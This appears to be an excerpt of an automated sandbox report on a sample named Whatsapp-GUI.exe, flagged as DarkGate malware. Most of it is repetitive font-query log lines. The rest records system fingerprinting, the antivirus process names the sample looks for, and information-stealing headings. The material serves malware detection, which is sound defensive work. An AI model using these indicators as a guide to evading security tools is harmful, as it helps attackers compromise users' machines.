Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00880030 GetLocalTime,__swprintf,

9_2_00880030

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00880722 GetUserNameW,

9_2_00880722

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_0087416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

9_2_0087416A

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00855D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

9_2_00855D13

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Source: UpdaterService.exe, UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: UpdaterService.exe, UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: superantispyware.exe

Stealing of Sensitive Information

Yara detected DarkGate

